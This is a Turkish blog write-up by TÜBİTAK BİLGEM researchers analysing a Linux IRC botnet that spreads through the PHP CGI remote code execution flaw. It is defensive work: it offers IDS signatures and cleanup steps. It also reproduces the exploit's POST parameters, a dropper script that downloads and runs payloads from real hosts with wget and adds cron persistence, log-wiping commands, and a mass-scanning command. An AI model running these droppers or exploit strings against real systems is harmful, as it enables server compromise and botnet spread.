PC ÇÖZÜMLERİ : Linux Botnet ve PHP CGI Açıklığı

Necati Ersen ŞİŞECİ, Abdurrahman PEKTAŞ, TÜBİTAK BİLGEM
Zaman zaman sistemler üzerinde çalışan servislerde uzaktan komut çalıştırma zafiyetleri tespit edilmektedir. Tespit edilen zafiyetler, saldırganlar tarafından istismar edilerek, hedef sistemlere uzaktan erişim sağlanmaktadır. Bu zafiyetlerinbir kısmı Linux sistemlerde bulunmaktadır.

Günümüzde, uzaktan komut çalıştırma zafiyetinin kullanarak binlerce bilgisayara bulaşan zararlı yazılımlar mevcuttur. Saldırgan, zararlı yazılımların bulaştıkları makineleri uzaktan HTTP, IRC gibi protokoller aracılığı ile yönetir. Bu şekilde binlerce bilgisayarın bir araya gelmesine botnet denir.Medyada sık sık rastladığımız DDoS saldırıları, botnetler aracılığı ile yapılmaktadır.

Ağ trafiğindeki zaralı aktiviteleri tespit etmek için Saldırı Tespit Sistemleri (Intrusion Detection System, IDS) kullanılır.

Test için kurduğumuz bir IDS’in kayıtlarını incelerken Emerging Threats’e ait bir IDS imzası dikkatimizi çekti. IDS alarmının detaylarına baktığımızda PHP CGI açıklığını kullanan bir saldırı olduğunu tespit ettik. Test için kurduğumuz diğer birkaç sisteme baktığımızda bu saldırının Aralık ayından beri yapılmakta olduğunu tespit ettik.

Yaptığımız araştırmalar sonucu bu açıklık ve yayılma şekli ile ilgili elde ettiğimiz tüm bilgileri aşağıda bulabilirsiniz.

Saldırının Tespiti

Şekil 1’ bu IDS alarmına ait detaylı bilgileri görebilirsiniz.

Şekil 1 IDS Alarmı

Emerging Threats tarafından yayınlanan imza aşağıdadır. Bu imza Mart 2013’de yayınlanmıştır.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER WebShell Generic – wget http – POST"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; classtype:bad-unknown; sid:2016683; rev:2;)

Saldırının Analizi

Yapılan saldırı daha önce yayınlanan bir PHP istismar kodunun biraz değiştirilmiş halini kullanmaktadır.

POST İsteği

Yapılan saldırıda aşağıdaki C kodunda bulanan "poststr" değişkeninin içeriği POST isteği olarak gönderilmektedir.

char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F"

………………..

"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1rn"

"Host: %srn"

"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26"

"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25rn"

"Content-Type: application/x-www-form-urlencodedrn"

"Content-Length: %drn"

"Connection: closernrn%s";

Exploit kodunda verilen ve saldırgan tarafından kullanılan POST işleminde,

  • /cgi-bin/php
  • /cgi-bin/php4
  • /cgi-bin/php5
  • /cgi-bin/php.cgi
  • /cgi-bin/php-cgi

Yazılımlarına aşağıdaki parametreler gönderilmektedir.

-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n?

POST Verisi

Yapılan POST isteğinin veri kısmında ise hxxp://221.132.37.26/sh adresindeki betiğin hedef sisteme, wget ile indiren ve çalıştıran bir kodu olduğu gözlemlenmiştir. Şekil 1’de bu istek görülebilir.

İlk İndirilen “sh” Betiği

İlgili adresten indirilen betiğin içeriği aşağıda verilmiştir.

#!/bin/sh

cd /tmp;cd /dev/shm

wget -q hxxp://221.132.37.26/shc -O ..a

chmod +x ..a

./..a

cd /dev/shm ; wget 221.132.37.26/ru ; bash ru ; rm -rf ru

cd /dev/shm ; wget 221.132.37.26/rr; bash rr; rm -rf rr

killall -9 .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w php

killall -9 .rnd

killall -9 .a

killall -9 kernelupdate

killall -9 dev

killall -9 sh

killall -9 bash

killall -9 apache2

killall -9 httpd

killall -9 cla

killall -9 ka

killall -9 kav

killall -9 m32

killall -9 m64

killall -9 perl

killall -9 sh

killall -9 sucrack

kill -9 `pidof .rnd`

kill -9 `pidof .a .b .c .d .e .f .g .h .i .j. .k .l .m .n .o .p .q .r .s .t .u .v .x .z .y .w`

kill -9 `pidof dev`

kill -9 `pidof perl`

kill -9 `pidof m32`

kill -9 `pidof m64`

kill -9 `pidof ka`

kill -9 `pidof kav`

kill -9 `pidof cla`

kill -9 `pidof sh`

kill -9 `pidof sucrack`

echo "@weekly wget -q hxxp://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron

crontab /tmp/cron

rm -rf /tmp/cron

Yukarıdaki betiğin içerisinden de anlaşıldığı üzere, /dev/shm dizini altına hxxp://221.132.37.26/shc adresinden indirdiği dosyayı “..a” ismiyle kaydedip çalıştırmaktadır.

Bu işlemden sonra internetten 2 farklı dosya indirmekte bunları çalıştırmakta daha sonra bu dosyaları silmektedir. Bu işlemden sonra ise, sistemdeki saldırgan tarafından oluşturulduğu düşünülen bazı süreçleri sonlandırmaktadır.
Betiğin son 3 satırında ise, kendisini sistemin crontab’ına ekleyen satırlar bulunmakta olup, zararlı kod kendisini haftalık olarak güncellemekte ve tekrar çalıştırmaktadır.

echo "@weekly wget -q hxxp://221.132.37.26/sh -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh" >> /tmp/cron

crontab /tmp/cron

rm -rf /tmp/cron

“shc” IRC İstemcisi

İnternet’ten indirilen ilk dosya olan “shc” ikili bir dosyadır. Çalıştırıldıktan sonra aşağıdaki sistem komutlarını çalıştırmaktadır.

rm –f /var/log/syslog; touch /var/log/syslog;chmod 0000 /var/log/syslog; chattr –isa /var/log/syslog

Bu işlemler /var/log/syslog dosyası silinip yeni bir dosya oluşturuluyor ve dosyanın özellikleri sadece eklenebilir, silinemez, taşınamaz gibi değiştiriliyor.

Not: Bu işlem zararlı yazılım root hakları ile çalıştırıldığı zaman yapılabilmektedir. Sistemde bulunan apache, nobody gibi kullanıcılar bu işlemi gerçekleştiremez.

Bu proses çalıştırıldıktan sonra fork() fonksiyonunu kullanarak yeni bir child process açıyor ve ismini “-bash” olarak değiştiriyor.
Bu işlemden sonra 200.20.10.72 IP adresinde çalışan IRC sunucuya bağlanmakta ve “#irc” kanalına girmektedir. Bu kanalda ise, zararlı yazılımın sahibinin gönderdiği bilgileri çalıştırmaktadır.

IRC kanalına girip “#irc” kanalına girdiğimizde kanal listesinin kapalı olduğunu farkettik. Ancak bir süre sonra özel mesaj ile aşağıda belirtilen içerikli mesaj geldi.

cd /dev/shm ; wget 221.132.37.26/ru.php ; bash ru.php ; rm -rf ru.php

Bu mesajda gönderilen ru.php, sh isimli betiğin içerisinde ru olarak geçmektedir. Ancak ru ve ru.php dosyalarının içeriği aynıdır.

Bu mesajı gönderen kullanıcıya aynı formatta birkaç komut gönderdiğimizde aşağıdaki çıktıyı aldık.

Şekil 2 IRC Komutları

IRC kanalındaki kullanıcı listesi kapalı olduğundan dolayı, kaç istemcinin IRC kanalında olduğunu tespit edilememiştir.
Zararlı yazılımın IRC kanalı aracılığı ile aldığı bazı komutlar Şekil 3’de gösterilmiştir.

Şekil 3 Bazı IRC Komutları

Zararlı yazılım tekrar çalışma ihtimaline karşı “/tmp/.x” isimli dosyayı oluşturmakta ve bu dosya olmadığı zaman IRC kanalına bağlanmaktadır.

"shc" zararlı yazılımının Virüs Mü tarama sonuçları aşağıdadır.

Şekil 4 Virüs Mü tarama sonuçları

ru.php (ru) Betiği

“sh” isimli betik, yukarıdaki IRC istemcisini çalıştırdıktan sonra 2 dosya daha indirmektedir.

root@test:/home/test/php-cgi# cat ru.php

#!/bin/bash

dontrun=""

arch=`uname -m`

cd /dev/shm

function runPnscan()

{

cd /dev/shm

chmod +x pnscan php

bash run &

}

function isPnscanOn()

{

pid=`pidof pnscan`

if [ "$pid" == "" ];then

retval=0

else

retval=1

fi

echo "$retval"

}

cd /dev/shm

if [ ! -f pnscan ];then

case "$arch" in

"x86_64")

wget -q hxxp://korivind.se/64.tgz -O 64.tgz

tar xvzf 64.tgz

rm -rf 64.tgz

;;

*)

wget -q hxxp://korivind.se/86.tgz -O 86.tgz

tar xvzf 86.tgz

rm -rf 86.tgz

;;

esac

fi

if [ $(isPnscanOn) == 1 ];then

# echo "Running"

exit

else

echo "Not Running"

if [ "$dontrun" != "1" ];then

$(runPnscan)

fi

fi

rm -rf /dev/shm/run

rm -rf /dev/shm/pnscan

Bu betik belirtilen adresten, işletim sisteminin 32 bit veya 64 bit olmasına göre farklı bir sıkıştırılmış dosya indirmektedir. Indirilen dosya /dev/shm dizini altına indirilip, açıldıktan sonra “run” isimli betik çalıştırılmaktadır.

Sıkıştırılmış dosyanın içerisinde 3 farklı dosya bulunmaktadır. Bu dosyalar aşağıda özetlenmiştir.

run

Sıkıştırılmış 86.tgz dosyasının içerisinde yer alan “run” betiğinin içeriği aşağıdadır.

root@test:/home/test/php-cgi/86# cat run

#!/bin/bash

rand=`echo $((RANDOM%225+2))`

cd /dev/shm

nohup ./pnscan -rApache -w"HEAD / HTTP/1.0rnrn" $rand.0.0.0/8 80 > /dev/null &

Bu betik, 2-226 aralığında rastgele bir sayı üretmekte ve /dev/shm dizini altında bulunan pnscan yazılımı aracılığı ile bu IP aralığını taramaktadır.

pnscan

pnscan, kaynak kodları internetten temin edilebilecek, açık kaynak bir port tarama yazılımıdır. Saldırgan bu yazılımın kaynak kodlarını alıp üzerinde değişiklik yaparak kendi ihtiyacına göre güncellemiştir.

root@test:/home/test/php-cgi/86# ./pnscan -h

Usage: ./pnscan [<options>] [{<CIDR>|<host-range> <port-range>} | <service>]

This program implements a multithreaded TCP port scanner.

More information may be found at:

http://www.lysator.liu.se/~pen/pnscan

Command line options:

-h Display this information.

-V Print version.

-v Be verbose.

-d Print debugging info.

-s Lookup and print hostnames.

-i Ignore case when scanning responses.

-S Enable shutdown mode.

-l Line oriented output.

-w Request string to send.

-W Hex coded request string to send.

-r Response string to look for.

-R Hex coded response string to look for.

-L Max bytes to print.

-t Connect/Write/Read timeout.

-n Concurrent worker threads limit.

Saldırgan tarafından çalıştırılan pnscan komutu aşağıdaki gibi çalıştırılmaktadır.

nohup ./pnscan -rApache -w"HEAD / HTTP/1.0rnrn" $rand.0.0.0/8 80 > /dev/null &

Saldırgan, A sınıfı bir IP bloğunu taramakta ve tüm IP adreslerinin 80 portuna “–w” parametresi ile “HEAD /HTTP/1.0rnrn” isteğini göndermektedir. Gönderilen isteğe gelen cevapta “-r” parametresi ile “Apache” kelimesi aranmaktadır. Bulunması durumunda bu sitede istismar kodunun denenmesi için saldırgan tarafından değiştirilmiş olan PHP istismar kodunu çalıştıran “php” isimli ikili dosya çalıştırılmaktadır. “php” ikili dosyası aşağıdaki parametrelerle çalıştırılmaktadır.

./php –target TARGET_IP –port 80 –protocol http –reverse-ip 12.8.8.8 –reverse-port 80

php

php isimli ikili dosya, yayınlanmış olan istismar kodunun saldırgan tarafından değiştirilmiş bir POST verisi içermektedir. Yayınlanış olan istimar kodunda, ters bağlantı yapabilen bir kod bulunmaktadır. Burada kullanılan istismar isteğinde, ters bağlantı açan kod yerine uzaktan bir kabuk betiği indirip, çalıştıran bir POST verisi kullanılmıştır. Gönderilen POST verisi, şekil 1 de görülmektedir.

Saldırı Kaynakları

10 gün kadar çalışan test saldırı tespit sistemimizin kayıtlarında, toplamda 70 adet farklı IP tespit edildi. Coğrafi dağılımlar aşağıdaki şekilde gösterilmiştir.

Şekil 5 STS alarmlarının coğrafi dağılımı

Saldırı Tespit Sistemi İmzası

Yukarıda bahsedilen STS imzası yapılan HTTP isteiğinde "wget" kelimesini aramaktadır. Bu sebeple daha önce yayınlanmış olan istismar kodu için çalışmayacaktır. Geliştirilen STS imzası aşağıdadır.

alert tcp any any -> $HOME_NET $HTTP_PORTS (msg:"PHP CGI REMOTE CODE EXECUTION ATTEMPT"; flow:established, to_server; content: "POST"; http_method; uricontent:"php://input"; sid:2000021;)

Kontrol ve Temizlenmesi

Zararlı yazılım kendisini PHP’nin açıklığını kullanarak diğer sistemlere bağlanmakta, daha sonra bir IRC kanalına bağlanmakta ve rastgele bir A sınıfı IP bloğunu taramaktadır. Ağ trafiğinin izlenmesi, güvenlik duvarının kayıtları ve sistemdeki bazı izler aracılığı ile tespit edilip, temizlenebilir.

Kontrol

Zararlı yazılım kendisini “/dev/shm” dizini altına atmaktadır. Bu dizinin kontrol edilmesi gerekmektedir. Saldırgan tarafından ismi “.” ile başlayan bazı dosyalar kullanılmaktadır. Linux ve Unix tipi işletim sistemleri için “.” Özel anlam ifade ettiği için “ls” komutu ile dizin kontrol edilirken mutlaka “-a” parametresi kullanılmalıdır.

pnscan zararlı yazılımı, /var/log/syslog dosyasının izinlerini ve çeşitli özelliklerini değiştirmektedir.

Şekil 6 syslog dosyası izin ve özellikleri

Ağ akış kayıtlarından uzun süreli bağlantıların varlığı kontrol edilmelidir.
/tmp/.x” isimli dosyanın varlığı, sistemde “shc” zararlı yazılımının varlığını gösteriyor olabilir.

Güvenlik duvarı kayıtlarından, IRC sunucusuna ve diğer adreslere giden bağlantı olup olmadığı kontrol edilmelidir.

Temizlik

  • /dev/shm dizini altı kontrol edilmeli ve şüpheli dosya varsa silinmelidir.
  • apache, nobody gibi Apache web sunucu yazılımını çalıştıran kullanıcının crontab’ı kontrol edilmelidir.
  • Sistemde bulunan PHP yazılımı mutlaka güncellenmelidir.

Önemli Not

Bu çalışma kapsamında, “shc”, “pnscan” ve “php” isimli ikili dosyalarına kısıtlı bir miktar davranışsal analiz ve statik analiz yapılmıştır. Bu sebeple, zararlı yazılımların tüm işlevleri tespit edilememiş olabilir.

Saldırgan tarafından IRC bağlantısı aracılığı ile veya crontab’dan haftalık yapılan güncellemelerle sisteme çeşitli arka kapılar, ek yazılımlar yerleştirilmiş, yeni servisler veya kullanıcılar açılmış, sistemin ayarlarında değişiklik yapmış olabilir. Bu sebeple sistemin tamamı gözden geçirilmelidir.

Saldırılarda kullanılan HTTP adresleri, yanlışlıkla tıklanılmaması amacı ile yazı içerisin HXXP olarak yazılmıştır.

Reklamlar

Etiketlendi:, ,

Bir Cevap Yazın

Please log in using one of these methods to post your comment:

WordPress.com Logosu

WordPress.com hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Twitter resmi

Twitter hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Facebook fotoğrafı

Facebook hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Google+ fotoğrafı

Google+ hesabınızı kullanarak yorum yapıyorsunuz. Çıkış  Yap / Değiştir )

Connecting to %s

YÜKSEK STRATEJİ

strateji, istihbarat, güvenlik, politika, jeo-politik, mizah, terör, araştırma, teknoloji

%d blogcu bunu beğendi: